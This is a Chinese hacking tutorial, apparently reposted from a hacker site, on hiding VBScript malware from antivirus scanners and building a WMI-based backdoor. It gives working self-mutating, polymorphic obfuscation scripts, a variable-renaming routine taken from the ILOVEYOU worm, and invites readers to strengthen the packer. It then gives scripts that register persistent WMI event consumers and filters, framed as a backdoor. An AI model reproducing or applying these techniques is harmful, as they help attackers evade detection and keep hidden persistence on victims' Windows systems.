【反查杀】
首先必须说明的是,我完全没有试图挑战杀毒软件杀毒能力的意思。Windows脚本是一种解释性语言,明文保存代码。由于没有经过编译过程,代码的复杂程度远不如可执行程序(exe)。exe做不到的事,没理由指望脚本能做到。不过,正因为脚本的反查杀能力很差,以至于杀毒软件使用的查杀办法也不高级。于是我们就有机可乘了。
先看看常见的反查杀办法:
1,字符串或语句的分割/重组。
最典型的例子就是将 fso=createobject("scripting.filesystemobject")
变成 fso=createobject("script"+"ing.filesyste"+"mobject")
这种办法的扩展是用execute语句:
execute("fso=crea"+"teobject(""scr"+"ipting.filesy"+"stemobject"")")
2,变量名自动改变。
Randomize
Set Of = CreateObject("Scripting.FileSystemObject")
vC = Of.OpenTextFile(WScript.ScriptFullName, 1).Readall
fS = Array("Of", "vC", "fS", "fSC")
For fSC = 0 To 3
vC = Replace(vC, fS(fSC), Chr((Int(Rnd * 22) + 65)) & Chr
((Int(Rnd * 22) + 65)) & Chr((Int(Rnd * 22) +
65)) & Chr((Int(Rnd * 22) + 65)))
Next
Of.OpenTextFile(WScript.ScriptFullName, 2, 1).Writeline vC
上面这段代码取自爱虫病毒,大家运行一下,就知道是怎么回事了。
3,用官方工具——脚本编码器screnc.exe[5]加密脚本。
加密后的脚本能被脚本宿主直接解释。本来这是最好的解决办法,但“枪打出头鸟”,由于加密是可逆的,现在所有的杀毒软件都有解码功能。因此这个办法的效果基本上为零。
第一个办法的有效告诉我们这样一个事实:对脚本病毒的查杀基本上是属于静态的。而且,我发现即使只是改变大小写,也能起到反查效果(只试了一种杀毒软件)。反查杀的关键是减少特征码。
对于exe的反查杀,最容易想到的就是“加壳”。在脚本上也可以应用这个办法。比如:
str="cswpire.tohcO"" ""!K"
for i=1 to len(str) step 3
rev=rev+strreverse(mid(str,i,3))
next
execute rev
一个最简单的“壳”。“壳”的算法是每n个字符反转顺序一次。n就是算法的“种子”,本例中它等于3。
这个“壳”是死的,起不到减少特征码的效果。反而增加了特征码,如"cswpire"。
下面看一个复杂些的例子:
str="wscript.echo ""OK!"":randomize:key=int
(rnd*8+2):str=rev:str=replace
(str,chr(34),chr(34)+chr(34)):set aso=createobject
(""ADODB.Stream""):with aso:.open:.writetext
""str=""+chr(34)+str+chr(34)
+"":key=""+cstr(key)+"":str=rev:execute str:function
rev():for i=1 to len(str) step key:rev=rev+strreverse(mid(str,i,key)):next:end function"":.savetofile wscript.scriptfullname,2:end with":key=1:str=rev:execute str:function rev():for i=1 to len(str) step key:rev=rev+strreverse(mid(str,i,key)):next:end function
(注意,该代码只有一行,没有回车)
保存成vbs文件,双击执行,效果还是和前一段代码一样,弹出一个对话框显示"OK!"。
但是,执行完后再看代码,可能变成了这样:
str="tpircsw"" ohce.ar:""!KOezimodnni=yek:8*dnr(trts:)2+ts:ver=alper=r,
rts(ec)43(rhc43(rhc,3(rhc+)tes:))4rc=osa jboetaeDA""
(tcertS.BDOw:)""maeosa hti:nepo.:tetirw.ts"" txerhc+""=
rts+)43(3(rhc+rek:""+)4tsc+""=y+)yek
(rr=rts:""cexe:verts etuitcnuf:(ver noi rof:)l ot 1=)rts(nek pets =ver:yerts+veresreverts(dim(yek,i,rtxen:))uf
dne:""noitcntevas.:w elifo.tpircsftpircsemanllu dne:2,htiw":
key=7:str=rev:execute str:function rev():for i=1 to len(str) step key:rev=rev+strreverse(mid(str,i,key)):next:end function
再执行,又变成其他样子了。这个脚本是自变形的。
如果仔细看代码就会发现,“壳”的算法依旧,而“种子”随机改变。但是,加壳过的内容每次不同了,“壳”本身还是没有任何改变。很多exe加壳工具加的壳,本身就被当作恶意代码来提取特征码。为了更好的反查杀,脚本的“壳”也需要动态改变。这就要用到所谓的多态技术。不过,exe的多态是用来反动态查杀的,而脚本的“多态”只是应付静态查杀,两者有很大不同。
对于exe,真正的多态目前还未听说被实现的。脚本也只能做多少算多少。
不影响功能的变形方法,除了上面提到的3种,还有:
1,随机改变大小写;
2,冒号(:)与回车符随机互换(字符串内和"then"之后的冒号除外);
3,字符串分割时,"+"与"&"随机互换;
4,()+-*/&,等字符两边任意添加空格或续行符(_)和回车符的组合;
5,用自定义函数替换内置函数;即使自定义的函数只是简单的封装内置函数,但至少改变了关键字的位置。
…………
还有其他“多态”算法有待你的研究。
这些算法的应用,是以大幅增加代码长度为前提的。如果想写一个比较完美的“壳”,相信会涉及到“文法分析”的知识,因为脚本要“读懂”自己,从而达到类似Java混淆器的效果,这就很复杂了,有机会再和大家探讨。下面我们应用“语句分割”、“变量名自动改变”、“随机大小写”、“+和&互换”四种方法,看一下效果如何:
A001="wscript.echo ""OK!"":A004=chr(34):randomize:A005=int
(rnd*24000+40960):A001=A006(A001):A000=A005 mod 10+2:A001=replace(A002,A004,A004&A004):set A007=createobject(""ADODB.Stream""):A007.open:A007.writetext hex(A005+1)&""=""&A004&A001&A004&A008("":execute ""&A004&A006(""A000=""&A000&"":A001=A002:execute
A001:function A002():for A003=1 to len(A001) step A000:A002=A002+strreverse(mid(A001,A003,A000)):next:end function"")&A004):A007.savetofile wscript.
scriptfullname,2:function A006(A009):for A00A=0 to 12:A009=replace(A009,hex(&HA000+A00A),
hex(A005+A00A)):next:A006=A009:end function:
function A008(A009):for A00A=1 to len(A009):A00B=mid(A009,A00A,1):if int(rnd*2-1) then A00B=ucase(A00B):end if:if
A00A>11 and int(rnd*5)=0 then A008=A008&A004&chr
(38+int(rnd*2)*5)&A004:end if:A008=A008&A00B:next:end function":A000=1:A001=A002:execute A001:function A002():for A003=1 to len(A001) step A000:A002=A002+strreverse(mid(A001,A003,A000)):next:end function
(注意,其中没有回车符)
上面是“原版”的,保存为vbs文件双击运行,还是弹出对话框显示"OK!"。再看代码变形成什么样了(效果是随机的):
B906="tpircsw"" ohce.9B:""!KO(rhc=90nar:)43:ezimodni=A09B2*dnr
(t04+00049B:)069B09B=60:)609B(9B=509B dom A09B:2+01lper=6009B(eca,909B,79B&909Btes:)90c=C09B boetaerA""(tcejtS.BDOD:)""maerpo.C09BC09B:netetirw.xeh txe1+A09B(B&""=""&)09B&909&909B&6:""(D09Betucexe909B&"" ""(B09B&&""=509B:""&509B9B=609Bcexe:709B etucnuf:609B noitof:)
(70=809B rel ot 1)609B(nB pets 09B:509+709B=7everrtsdim
(esrB,609B(09B,809xen:))5f dne:tnoitcnu909B&)"".C09B:)fotevascsw
elics.tpirluftpir2,emanlitcnuf:B09B no:)E09B(09B rof ot 0=FE09B:21calper=,E09B(eBH&(xeh09B+509(xeh,)F9B+A09Ben:))
F0B09B:txe:E09B=cnuf dnuf:noit noitcn9B(D09Brof:)E01=F09B nel ot :)E09B(im=019B,E09B(d)1,F09Btni fi:-2*dnr(neht )1u=019B 9B
(esacdne:)01 fi:fi 11>F09Bni dna 5*dnr(teht 0=)=D09B n9B&D09B(rhc&90(tni+83*)2*dnr909B&)5fi dne:B=D09B:19B&D09:
txen:0nuf dnenoitc":EXecUTe "B9"&"05=7"&":B906"&"=B907:E"+
"XEc"+"utE B906"+":FuN"&"
ctIoN B9"&"07():fOr"+" B9"+"08=1 tO l"&"En(B906)"+" step B905:B907"&"=B907+"&"sTRreVErSe(MId("&"B9"&"0"&"6,B908,B905"&")
"+"):N"+"eX"+"t"+":eNd fUN"&"CtiOn"
眼花了没?再来一次:
F0CB="rcsw.tpiohceKO"" F:""!=EC0(rhc:)
43dnarzimo0F:ei=FCr(tn2*dn0004904+:)
06BC0FD0F=0F(0:)BCAC0FC0F=om F01 dF:2+=BC0lper(ecaCC0FC0F,0F,EF&EC)EC0tes:D0F rc=1etaeejbo""(tcDODAtS.BmaerF:)"".1D0nepoD0F:rw.1teti txe(xehFC0F&)1+&""=""EC0FC0F&0F&BF&EC(2D0xe:""tuce&"" eEC0FD0F&F""(0=AC00F&""""&ACC0F:0F=Be:CCucex
etBC0Fnuf:oitc0F n)(CCrof:C0F 1=Dl otF(ne)BC0ets 0F pF:AC=CC0CC0Frts+ever(esr(dimBC0FC0F,0F,D))ACxen:ne:tuf ditcn)""noC0F&F:)E.1D0evasifotw elircss.tppircluftmanl:2,
ecnufnoitD0F 0F(0:)3D rof4D0Ft 0=21 oD0F:er=3calp0F(eh,3D&(xeC0FH0F+A,)4D(xehFC0FD0F+:))4txenD0F:0F=0e:3Df dntcnu:noicnufnoitD0F 0F(2:)3D rof4D0Ft 1=el o0F(n:)3D5D0Fdim=
D0F(0F,31,4Dfi:)tni dnr(1-2*ht )F ne=5D0sacu0F(e:)5D dnei:fi0F f1>
4Dna 1ni dnr(t)5*dt 0= neh2D0FD0F=0F&2c&EC3(rhni+8nr
(t)2*d&)5*EC0Fdne::fi 2D0FD0F=0F&2n:5D:txe dnecnufnoit":eXecUtE "F"+
"0CA"&"=4:F0CB"+"="+"F0CC:eX"+"e"+"cUte
F0CB"&":F"+"UNC"+"tIOn F0CC():F"+"or"+" F0"&"CD=1 tO LEN(F0CB) sTEp F0CA:F0CC=F0CC+strR"+"Ever"+"SE"&"(mID("+"F0CB,"+
"F0CD,F0CA)):nEXT:eNd FU"&"nCTIo"&"N"
这样够了吗?——不知道。也许杀毒引擎本来就是忽略大小写的,本来就能自动连接字符串,本来就能“文法分析”……
这个“壳”有实用性吗?——没有。因为“壳”的算法太简单。“种子”A000 = A005 mod 10 + 2,所以如果不考虑自动改变的变量名,加壳后的代码只有10种样子。
如何改进这个“壳”?——当然是用更复杂的算法,更多的“多态”。
如果你有兴趣,可以先看那个“原版”的脚本代码(把冒号都替换为回车,可读性就比较好了),然后自己加强它。
当然,你也可以另起炉灶,自由展现你的创意。
【来做个后门】
在讨论脚本后门前,先要介绍一类很有用的WMI对象。事实上,这才是本节的关键。脚本后门不过是它的一个应用而已。
前面已经说过,WMI是事件驱动的。整个事件处理机制分为四个部分:
1,事件生产者(provider):负责产生事件。WMI包含大量的事件生产者。有性能计数器之类的具体的事件生产者,也有类、实例的创建、修改、删除等通用的事件生产者。
2,事件过滤器(filter):系统每时每刻都在产生大量的事件,通过自定义过滤器,脚本可以捕获感兴趣的事件进行处理。
3,事件消费者(consumer):负责处理事件。它可以是可执行程序、动态链接库(dll,由WMI服务加载)或者脚本。
4,事件绑定(binding):通过将过滤器和消费者绑定,明确什么事件由什么消费者负责处理。
事件消费者可以分为临时的和永久的两类。临时的事件消费者只在其运行期间关心特定事件并处理。永久消费者作为类的实例注册在WMI名字空间中,一直有效直到它被注销。显然,永久事件消费者更具实用性。还是来看个例子:
nslink="winmgmts:\\.\root\cimv2:" ''只需要本地连接,所以用这种语法,不用swbemlocator对象''
set asec=getobject(nslink&"ActiveScriptEventConsumer").
spawninstance_ ''创建“活动脚本事件消费者”''
asec.name="stopped_spooler_restart_consumer" ''定义消费者的名字''
asec.scriptingengine="vbscript" ''定义脚本语言(只能是vbscript)''
asec.scripttext="getobject(""winmgmts:win32_service=
''spooler''"").startservice" ''脚本代码''
set asecpath=asec.put_ ''注册消费者,返回其链接''
set evtflt=getobject(nslink&"__EventFilter").spawninstance_ ''创建事件过滤器''
evtflt.name="stopped_spooler_filter" ''定义过滤器的名字''
qstr="select * from __instancemodificationevent within 5 " ''每5秒查询一次“实例修改事件”''
qstr=qstr&"where targetinstance isa ""win32_service"" and " ''目标实例的类是win32_service''
qstr=qstr&"targetinstance.name=""spooler"" " ''实例名是spooler''
qstr=qstr&"and targetinstance.state=""stopped""" ''实例的state属性是stopped''
evtflt.query=qstr ''定义查询语句''
evtflt.querylanguage="wql" ''定义查询语言(只能是wql)''
set fltpath=evtflt.put_ ''注册过滤器,返回其链接''
set fcbnd=getobject(nslink&"__FilterToConsumerBinding")
.spawninstance_ ''创建过滤器和消费者的绑定''
fcbnd.consumer=asecpath.path ''指定消费者''
fcbnd.filter=fltpath.path ''指定过滤器''
fcbnd.put_ ''执行绑定''
wscript.echo "安装完成"
这个脚本的效果是:当“后台打印”服务(spooler)状态改变为停止时,消费者将进行处理——重启spooler。
先net start spooler,然后net stop spooler。最多5秒钟,spooler又会启动。
直接运行上面的脚本会出错,因为“活动脚本事件消费者”(ActiveScriptEventConsumer ASEC)默认没有被安装到root\cimv2名字空间。
用记事本打开%windir%\system32\wbem\scrcons.mof,将第一行“#pragma namespace ("\\\\.\\Root\\Default")”删除,或者修改为“#pragma namespace ("\\\\.\\Root\\cimv2")”。XP/2003没有这一行,不用修改。
然后执行下面这个命令:
C:\WINNT\system32\wbem>mofcomp.exe -N:root\cimv2 scrcons.mof
Microsoft (R) 32-bit MOF 汇编器版本 1.50.1085.0007
版权所有 (c) Microsoft Corp. 1997-1999。保留所有权利。
正在分析 MOF 文件: scrcons.mof
MOF 文件分析成功
将数据储存到储备库中...
已完成!
这样就把ASEC安装到root\cimv2了。mofcomp.exe和scrcons.mof都是系统自带的。
2000默认将ASEC安装到root\default名字空间,而XP/2003默认已经安装到root\subscription名字空间,但由于事件过滤器不能跨名字空间捕捉事件(XP/2003可以),事件绑定也不能跨名字空间,而大部分事件都在root\cimv2产生,所以需要重新安装ASEC到事件源所在的名字空间。下面这个脚本自动完成ASEC重安装任务。
set shl=createobject("WScript.Shell")
set fso=createobject("Scripting.FileSystemObject")
path=shl.expandenvironmentstrings("%windir%\system32\wbem\")
set mof=fso.opentextfile(path&"scrcons.mof",1,false,-1) ''mof都是Unicode格式的''
mofs=mof.readall
mof.close
mofs=replace(mofs,"\\Default","\\cimv2",1,1) ''替换默认的名字空间''
mofp=path&"asecimv2.mof"
set mof=fso.createtextfile(mofp,false,true) ''创建临时mof文件''
mof.write mofs
mof.close
shl.run path&"mofcomp.exe -N:root\cimv2 "&mofp,0,true ''安装到root\cimv2''
fso.deletefile(mofp)
wscript.echo "安装完成"
注销永久事件:
nslink="winmgmts:\\.\root\cimv2:"
myconsumer="stopped_spooler_restart_consumer" ''指定消费者的名字''
myfilter="stopped_spooler_filter" ''指定过滤器的名字''
set binds=getobject(nslink&"__FilterToConsumerBinding").instances_
for each bind in binds
if strcomp(right(bind.consumer,len(myconsumer)+1),
myconsumer&chr(34),1)=0 _
and strcomp(right(bind.filter,len(myfilter)+1),
myfilter&chr(34),1)=0 then
getobject("winmgmts:"&bind.consumer).delete_ ''删除消费者''
getobject("winmgmts:"&bind.filter).delete_ ''删除过滤器''
bind.delete_ ''删除绑定''
exit for
end if
next
wscript.echo "卸载完成"
除了ASEC,WMI还提供其他永久事件消费者,比如SMTPEventConsumer。当系统出现异常时,可以通过它自动给管理员的信箱发信。WMITools里的WMI Event Registration用于创建、修改、删除指定名字空间里的永久事件消费者、事件过滤器和计时器事件源的实例,以及绑定或解除绑定它们。
关于事件处理机制的各个部分,在《WMI技术指南》里有详细的讲述,MSDN里当然更全面。我就点到为止了。
文章转载地址:http://www.cnpaf.net/Class/hack/05121820345181986385.htm